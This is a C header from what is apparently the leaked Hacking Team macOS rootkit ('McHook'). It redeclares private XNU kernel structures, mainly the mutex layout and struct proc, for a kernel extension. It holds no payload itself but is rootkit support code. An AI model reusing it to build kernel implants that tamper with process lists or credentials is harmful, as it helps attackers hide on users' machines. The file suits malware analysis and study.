hackedteam/driver-macos

View on GitHub
proc_internal.h

Summary

Maintainability
Test Coverage
/*
 * McHook, proc_internal.h
 *  OS X KSpace Rootkit
 *
 *  Definitions needed by the KEXT and not exported
 * 
 * Created by revenge on 20/03/2009
 * Copyright (C) HT srl 2009. All rights reserved
 *
 */

#ifndef _SYS_PROC_INTERNAL_H_
#define    _SYS_PROC_INTERNAL_H_

#include <libkern/OSAtomic.h>
#include <sys/proc.h>
__BEGIN_DECLS
#include <kern/locks.h>
__END_DECLS

struct proc;

#define PROC_NULL (struct proc *)0

#if (defined(MAC_OS_X_VERSION_10_7) && MAC_OS_X_VERSION_MAX_ALLOWED >= MAC_OS_X_VERSION_10_7)

#define MACH_KERNEL_PRIVATE
#define __APPLE_API_UNSTABLE
#define SYSCTL_DEF_ENABLED
#define PROC_DEF_ENABLED

typedef struct m_lck_mtx {
    union {
        struct {
            volatile uintptr_t        lck_mtxd_owner;
            union {
                struct {
                    volatile uint32_t
        lck_mtxd_waiters:16,
        lck_mtxd_pri:8,
        lck_mtxd_ilocked:1,
        lck_mtxd_mlocked:1,
        lck_mtxd_promoted:1,
        lck_mtxd_spin:1,
        lck_mtxd_is_ext:1,
        lck_mtxd_pad3:3;
                } a;
        uint32_t    lck_mtxd_state;
            } b;
#if    defined(__x86_64__)
            /* Pad field used as a canary, initialized to ~0 */
            uint32_t            lck_mtxd_pad32;
#endif            
        } lck_mtxd;
        struct {
            struct _lck_mtx_ext_        *lck_mtxi_ptr;
            uint32_t            lck_mtxi_tag;
#if    defined(__x86_64__)                
            uint32_t            lck_mtxi_pad32;
#endif            
        } lck_mtxi;
    } lck_mtx_sw;
} m_lck_mtx_t;

typedef struct m_lck_spin {
  volatile uintptr_t  interlock;
#if MACH_LDEBUG
  unsigned long   lck_spin_pad[9];  /* XXX - usimple_lock_data_t */
#endif
} m_lck_spin_t;

/*
 * Added by SPARTA, Inc.
 */
/*
 * Login context.
 */
struct lctx {
  LIST_ENTRY(lctx) lc_list;    /* List of all login contexts. */
  LIST_HEAD(, proc) lc_members;    /* Pointer to lc members. */
  int        lc_mc;        /* Member Count. */
  pid_t        lc_id;        /* Login context ID. */
  
  struct label    *lc_label;    /* Login context MAC label. */
};

SLIST_HEAD(klist, knote);

struct    proc {
    LIST_ENTRY(proc) p_list;        /* List of all processes. */

    pid_t        p_pid;            /* Process identifier. (static)*/
    void *     task;            /* corresponding task (static)*/
    struct    proc *    p_pptr;             /* Pointer to parent process.(LL) */
    pid_t        p_ppid;            /* process's parent pid number */
    pid_t        p_pgrpid;        /* process group id of the process (LL)*/
    uid_t        p_uid;
    gid_t        p_gid;
    uid_t        p_ruid;
    gid_t        p_rgid;
    uid_t        p_svuid;
    gid_t        p_svgid;
    uint64_t    p_uniqueid;        /* process uniqe ID */

  m_lck_mtx_t p_mlock; // [> mutex lock for proc <]

    char        p_stat;            /* S* process status. (PL)*/
    char        p_shutdownstate;
    char        p_kdebug;        /* P_KDEBUG eq (CC)*/ 
    char        p_btrace;        /* P_BTRACE eq (CC)*/

    LIST_ENTRY(proc) p_pglist;        /* List of processes in pgrp.(PGL) */
    LIST_ENTRY(proc) p_sibling;        /* List of sibling processes. (LL)*/
    LIST_HEAD(, proc) p_children;        /* Pointer to list of children. (LL)*/
    TAILQ_HEAD( , uthread) p_uthlist;     /* List of uthreads  (PL) */

    LIST_ENTRY(proc) p_hash;        /* Hash chain. (LL)*/
    TAILQ_HEAD( ,eventqelt) p_evlist;    /* (PL) */

    m_lck_mtx_t    p_fdmlock;        /* proc lock to protect fdesc */

    /* substructures: */
    kauth_cred_t    p_ucred;        /* Process owner's identity. (PL) */
    struct    filedesc *p_fd;            /* Ptr to open files structure. (PFDL) */
    struct    pstats *p_stats;        /* Accounting/statistics (PL). */
    struct    plimit *p_limit;        /* Process limits.(PL) */

    struct    sigacts *p_sigacts;        /* Signal actions, state (PL) */
  int        p_siglist;        /* signals captured back from threads */
    m_lck_spin_t    p_slock;        /* spin lock for itimer/profil protection */

#define    p_rlimit    p_limit->pl_rlimit

    struct    plimit *p_olimit;        /* old process limits  - not inherited by child  (PL) */
    unsigned int    p_flag;            /* P_* flags. (atomic bit ops) */
    unsigned int    p_lflag;        /* local flags  (PL) */
    unsigned int    p_listflag;        /* list flags (LL) */
    unsigned int    p_ladvflag;        /* local adv flags (atomic) */
    int        p_refcount;        /* number of outstanding users(LL) */
    int        p_childrencnt;        /* children holding ref on parent (LL) */
    int        p_parentref;        /* children lookup ref on parent (LL) */

    pid_t        p_oppid;         /* Save parent pid during ptrace. XXX */
    u_int        p_xstat;        /* Exit status for wait; also stop signal. */

#ifdef _PROC_HAS_SCHEDINFO_
    /* may need cleanup, not used */
    u_int        p_estcpu;         /* Time averaged value of p_cpticks.(used by aio and proc_comapre) */
    fixpt_t        p_pctcpu;         /* %cpu for this process during p_swtime (used by aio)*/
    u_int        p_slptime;        /* used by proc_compare */
#endif /* _PROC_HAS_SCHEDINFO_ */

    struct    itimerval p_realtimer;        /* Alarm timer. (PSL) */
    struct    timeval p_rtime;        /* Real time.(PSL)  */
    struct    itimerval p_vtimer_user;    /* Virtual timers.(PSL)  */
    struct    itimerval p_vtimer_prof;    /* (PSL) */

    struct    timeval    p_rlim_cpu;        /* Remaining rlim cpu value.(PSL) */
    int        p_debugger;        /*  NU 1: can exec set-bit programs if suser */
    boolean_t    sigwait;    /* indication to suspend (PL) */
    void    *sigwait_thread;    /* 'thread' holding sigwait(PL)  */
    void    *exit_thread;        /* Which thread is exiting(PL)  */
    int    p_vforkcnt;        /* number of outstanding vforks(PL)  */
  void *  p_vforkact;         /* activation running this vfork proc)(static)  */
    int    p_fpdrainwait;        /* (PFDL) */
    pid_t    p_contproc;    /* last PID to send us a SIGCONT (PL) */

    /* Following fields are info from SIGCHLD (PL) */
    pid_t    si_pid;            /* (PL) */
    u_int   si_status;        /* (PL) */
    u_int    si_code;        /* (PL) */
    uid_t    si_uid;            /* (PL) */

    void * vm_shm;            /* (SYSV SHM Lock) for sysV shared memory */

#if CONFIG_DTRACE
    user_addr_t            p_dtrace_argv;            /* (write once, read only after that) */
    user_addr_t            p_dtrace_envp;            /* (write once, read only after that) */
    lck_mtx_t            p_dtrace_sprlock;        /* sun proc lock emulation */
    int                p_dtrace_probes;        /* (PL) are there probes for this proc? */
    u_int                p_dtrace_count;            /* (sprlock) number of DTrace tracepoints */
  uint8_t                         p_dtrace_stop;                  /* indicates a DTrace-desired stop */
    struct dtrace_ptss_page*    p_dtrace_ptss_pages;        /* (sprlock) list of user ptss pages */
    struct dtrace_ptss_page_entry*    p_dtrace_ptss_free_list;    /* (atomic) list of individual ptss entries */
    struct dtrace_helpers*        p_dtrace_helpers;        /* (dtrace_lock) DTrace per-proc private */
    struct dof_ioctl_data*        p_dtrace_lazy_dofs;        /* (sprlock) unloaded dof_helper_t's */
#endif /* CONFIG_DTRACE */

/* XXXXXXXXXXXXX BCOPY'ed on fork XXXXXXXXXXXXXXXX */
/* The following fields are all copied upon creation in fork. */
#define    p_startcopy    p_argslen

    u_int    p_argslen;     /* Length of process arguments. */
    int      p_argc;            /* saved argc for sysctl_procargs() */
    user_addr_t user_stack;        /* where user stack was allocated */
    struct    vnode *p_textvp;    /* Vnode of executable. */
    off_t    p_textoff;        /* offset in executable vnode */

    sigset_t p_sigmask;        /* DEPRECATED */
    sigset_t p_sigignore;    /* Signals being ignored. (PL) */
    sigset_t p_sigcatch;    /* Signals being caught by user.(PL)  */

    u_char    p_priority;    /* (NU) Process priority. */
    u_char    p_resv0;    /* (NU) User-priority based on p_cpu and p_nice. */
    char    p_nice;        /* Process "nice" value.(PL) */
    u_char    p_resv1;    /* (NU) User-priority based on p_cpu and p_nice. */

//#if CONFIG_MACF
    int    p_mac_enforce;            /* MAC policy enforcement control */
//#endif

    char    p_comm[MAXCOMLEN+1];
    char    p_name[(2*MAXCOMLEN)+1];    /* PL */

    struct     pgrp *p_pgrp;    /* Pointer to process group. (LL) */
#if CONFIG_EMBEDDED
    int        p_iopol_disk;    /* disk I/O policy (PL) */
#endif /* CONFIG_EMBEDDED */
    uint32_t    p_csflags;    /* flags for codesign (PL) */
    uint32_t    p_pcaction;    /* action  for process control on starvation */
    uint8_t p_uuid[16];        /* from LC_UUID load command */

/* End area that is copied on creation. */
/* XXXXXXXXXXXXX End of BCOPY'ed on fork (AIOLOCK)XXXXXXXXXXXXXXXX */
#define    p_endcopy    p_aio_total_count
    int        p_aio_total_count;        /* all allocated AIO requests for this proc */
    int        p_aio_active_count;        /* all unfinished AIO requests for this proc */
    TAILQ_HEAD( , aio_workq_entry ) p_aio_activeq;     /* active async IO requests */
    TAILQ_HEAD( , aio_workq_entry ) p_aio_doneq;    /* completed async IO requests */

    struct klist p_klist;  /* knote list (PL ?)*/

    struct    rusage *p_ru;    /* Exit information. (PL) */
    int        p_sigwaitcnt;
    thread_t     p_signalholder;
    thread_t     p_transholder;

    /* DEPRECATE following field  */
    u_short    p_acflag;    /* Accounting flags. */

    struct lctx *p_lctx;        /* Pointer to login context. */
    LIST_ENTRY(proc) p_lclist;    /* List of processes in lctx. */
    user_addr_t     p_threadstart;        /* pthread start fn */
    user_addr_t     p_wqthread;        /* pthread workqueue fn */
    int     p_pthsize;            /* pthread size */
    user_addr_t    p_targconc;        /* target concurrency ptr */
    void *     p_wqptr;            /* workq ptr */
    int     p_wqsize;            /* allocated size */
    boolean_t       p_wqiniting;            /* semaphore to serialze wq_open */
    m_lck_spin_t    p_wqlock;        /* lock to protect work queue */
    struct  timeval p_start;            /* starting time */
    void *    p_rcall;
    int        p_ractive;
    int    p_idversion;        /* version of process identity */
    void *    p_pthhash;            /* pthread waitqueue hash */
#if DIAGNOSTIC
    unsigned int p_fdlock_pc[4];
    unsigned int p_fdunlock_pc[4];
#if SIGNAL_DEBUG
    unsigned int lockpc[8];
    unsigned int unlockpc[8];
#endif /* SIGNAL_DEBUG */
#endif /* DIAGNOSTIC */
    uint64_t    p_dispatchqueue_offset;
};
#else

#define decl_lck_mtx_data(class,name)     class lck_mtx_t name;
/*
 * Description of a process.
 *
 * This structure contains the information needed to manage a thread of
 * control, known in UN*X as a process; it has references to substructures
 * containing descriptions of things that the process uses, but may share
 * with related processes.  The process structure and the substructures
 * are always addressible except for those marked "(PROC ONLY)" below,
 * which might be addressible only on a processor on which the process
 * is running.
 */
struct    proc {
  LIST_ENTRY(proc) p_list;        /* List of all processes. */

  pid_t        p_pid;            /* Process identifier. (static)*/
  void *     task;            /* corresponding task (static)*/
  struct    proc *    p_pptr;             /* Pointer to parent process.(LL) */
  pid_t        p_ppid;            /* process's parent pid number */
  pid_t        p_pgrpid;        /* process group id of the process (LL)*/


  char        p_stat;            /* S* process status. (PL)*/
  char        p_shutdownstate;
  char        p_kdebug;        /* P_KDEBUG eq (CC)*/ 
  char        p_btrace;        /* P_BTRACE eq (CC)*/

  LIST_ENTRY(proc) p_pglist;        /* List of processes in pgrp.(PGL) */
  LIST_ENTRY(proc) p_sibling;        /* List of sibling processes. (LL)*/
  LIST_HEAD(, proc) p_children;        /* Pointer to list of children. (LL)*/
  TAILQ_HEAD( , uthread) p_uthlist;     /* List of uthreads  (PL) */

  LIST_ENTRY(proc) p_hash;        /* Hash chain. (LL)*/
  TAILQ_HEAD( ,eventqelt) p_evlist;    /* (PL) */


  /* substructures: */
  kauth_cred_t    p_ucred;        /* Process owner's identity. (PL) */
  struct  filedesc *p_fd;            /* Ptr to open files structure. (PFDL) */
  struct  pstats *p_stats;        /* Accounting/statistics (PL). */
  struct  plimit *p_limit;        /* Process limits.(PL) */

  struct    sigacts *p_sigacts;        /* Signal actions, state (PL) */

#define    p_rlimit    p_limit->pl_rlimit

  struct    plimit *p_olimit;        /* old process limits  - not inherited by child  (PL) */
  unsigned int    p_flag;            /* P_* flags. (atomic bit ops) */
  unsigned int    p_lflag;        /* local flags  (PL) */
  unsigned int    p_listflag;        /* list flags (LL) */
  unsigned int    p_ladvflag;        /* local adv flags (atomic) */
  int        p_refcount;        /* number of outstanding users(LL) */
  int        p_childrencnt;        /* children holding ref on parent (LL) */
  int        p_parentref;        /* children lookup ref on parent (LL) */

  pid_t        p_oppid;         /* Save parent pid during ptrace. XXX */
  u_int        p_xstat;        /* Exit status for wait; also stop signal. */

#ifdef _PROC_HAS_SCHEDINFO_
  /* may need cleanup, not used */
  u_int        p_estcpu;         /* Time averaged value of p_cpticks.(used by aio and proc_comapre) */
  fixpt_t        p_pctcpu;         /* %cpu for this process during p_swtime (used by aio)*/
  u_int        p_slptime;        /* used by proc_compare */
#endif /* _PROC_HAS_SCHEDINFO_ */

  struct    itimerval p_realtimer;        /* Alarm timer. (PSL) */
  struct    timeval p_rtime;        /* Real time.(PSL)  */
  struct    itimerval p_vtimer_user;    /* Virtual timers.(PSL)  */
  struct    itimerval p_vtimer_prof;    /* (PSL) */

  struct    timeval    p_rlim_cpu;        /* Remaining rlim cpu value.(PSL) */
  int        p_debugger;        /*  NU 1: can exec set-bit programs if suser */
  boolean_t    sigwait;    /* indication to suspend (PL) */
  void    *sigwait_thread;    /* 'thread' holding sigwait(PL)  */
  void    *exit_thread;        /* Which thread is exiting(PL)  */
  int    p_vforkcnt;        /* number of outstanding vforks(PL)  */
      void *  p_vforkact;         /* activation running this vfork proc)(static)  */
  int    p_fpdrainwait;        /* (PFDL) */
  pid_t    p_contproc;    /* last PID to send us a SIGCONT (PL) */

  /* Following fields are info from SIGCHLD (PL) */
  pid_t    si_pid;            /* (PL) */
  u_int   si_status;        /* (PL) */
  u_int    si_code;        /* (PL) */
  uid_t    si_uid;            /* (PL) */

  void * vm_shm;            /* (SYSV SHM Lock) for sysV shared memory */

#if CONFIG_DTRACE
  user_addr_t            p_dtrace_argv;            /* (write once, read only after that) */
  user_addr_t            p_dtrace_envp;            /* (write once, read only after that) */
  int                p_dtrace_probes;        /* (PL) are there probes for this proc? */
  u_int                p_dtrace_count;            /* (sprlock) number of DTrace tracepoints */
  struct dtrace_ptss_page*    p_dtrace_ptss_pages;        /* (sprlock) list of user ptss pages */
  struct dtrace_ptss_page_entry*    p_dtrace_ptss_free_list;    /* (atomic) list of individual ptss entries */
  struct dtrace_helpers*        p_dtrace_helpers;        /* (dtrace_lock) DTrace per-proc private */
  struct dof_ioctl_data*        p_dtrace_lazy_dofs;        /* (sprlock) unloaded dof_helper_t's */
#endif /* CONFIG_DTRACE */

/* XXXXXXXXXXXXX BCOPY'ed on fork XXXXXXXXXXXXXXXX */
/* The following fields are all copied upon creation in fork. */
#define    p_startcopy    p_argslen

  u_int    p_argslen;     /* Length of process arguments. */
  int      p_argc;            /* saved argc for sysctl_procargs() */
  user_addr_t user_stack;        /* where user stack was allocated */
  struct    vnode *p_textvp;    /* Vnode of executable. */
  off_t    p_textoff;        /* offset in executable vnode */

  sigset_t p_sigmask;        /* DEPRECATED */
  sigset_t p_sigignore;    /* Signals being ignored. (PL) */
  sigset_t p_sigcatch;    /* Signals being caught by user.(PL)  */

  u_char    p_priority;    /* (NU) Process priority. */
  u_char    p_resv0;    /* (NU) User-priority based on p_cpu and p_nice. */
  char    p_nice;        /* Process "nice" value.(PL) */
  u_char    p_resv1;    /* (NU) User-priority based on p_cpu and p_nice. */

//#if CONFIG_MACF
  int    p_mac_enforce;            /* MAC policy enforcement control */
//#endif

  char    p_comm[MAXCOMLEN+1];
  char    p_name[(2*MAXCOMLEN)+1];    /* PL */

  struct     pgrp *p_pgrp;    /* Pointer to process group. (LL) */
  int        p_iopol_disk;    /* disk I/O policy (PL) */
  uint32_t    p_csflags;    /* flags for codesign (PL) */

/* End area that is copied on creation. */
/* XXXXXXXXXXXXX End of BCOPY'ed on fork (AIOLOCK)XXXXXXXXXXXXXXXX */
#define    p_endcopy    aio_active_count
  int        aio_active_count;    /* entries on aio_activeq */
  int        aio_done_count;        /* entries on aio_doneq */
  TAILQ_HEAD( , aio_workq_entry ) aio_activeq; /* active async IO requests */
  TAILQ_HEAD( , aio_workq_entry ) aio_doneq;     /* completed async IO requests */

  struct    rusage *p_ru;    /* Exit information. (PL) */
  thread_t     p_signalholder;
  thread_t     p_transholder;

  /* DEPRECATE following field  */
  u_short    p_acflag;    /* Accounting flags. */

  struct lctx *p_lctx;        /* Pointer to login context. */
  LIST_ENTRY(proc) p_lclist;    /* List of processes in lctx. */
  user_addr_t     p_threadstart;        /* pthread start fn */
  user_addr_t     p_wqthread;        /* pthread workqueue fn */
  int     p_pthsize;            /* pthread size */
  void *     p_wqptr;            /* workq ptr */
  int     p_wqsize;            /* allocated size */
  struct  timeval p_start;            /* starting time */
  void *    p_rcall;
  int        p_ractive;
  int    p_idversion;        /* version of process identity */
#if DIAGNOSTIC
  unsigned int p_fdlock_pc[4];
  unsigned int p_fdunlock_pc[4];
#if SIGNAL_DEBUG
  unsigned int lockpc[8];
  unsigned int unlockpc[8];
#endif /* SIGNAL_DEBUG */
#endif /* DIAGNOSTIC */
};
#endif

/* Lock and unlock a login context. */
#define LCTX_LOCK(lc)    lck_mtx_lock(&(lc)->lc_mtx)
#define LCTX_UNLOCK(lc)    lck_mtx_unlock(&(lc)->lc_mtx)
#define LCTX_LOCKED(lc)
//#define LCTX_LOCK_ASSERT(lc, type)
//#define ALLLCTX_LOCK    lck_mtx_lock(&alllctx_lock)
//#define ALLLCTX_UNLOCK    lck_mtx_unlock(&alllctx_lock)
//extern lck_grp_t * lctx_lck_grp;
//extern lck_grp_attr_t * lctx_lck_grp_attr;
//extern lck_attr_t * lctx_lck_attr;

#define    PIDHASH(pid)    (&pidhashtbl[(pid) & pidhash])
//extern LIST_HEAD(pidhashhead, proc) *pidhashtbl;
//extern u_long pidhash;

#define    PGRPHASH(pgid)    (&pgrphashtbl[(pgid) & pgrphash])
//extern LIST_HEAD(pgrphashhead, pgrp) *pgrphashtbl;
//extern u_long pgrphash;
#define    SESSHASH(sessid) (&sesshashtbl[(sessid) & sesshash])
//extern LIST_HEAD(sesshashhead, session) *sesshashtbl;
//extern u_long sesshash;

//extern lck_grp_t * proc_lck_grp;
//extern lck_grp_attr_t * proc_lck_grp_attr;
//extern lck_attr_t * proc_lck_attr;

LIST_HEAD(proclist, proc);

//extern struct proclist allproc;        /* List of all processes. */

#endif    /* !_SYS_PROC_INTERNAL_H_ */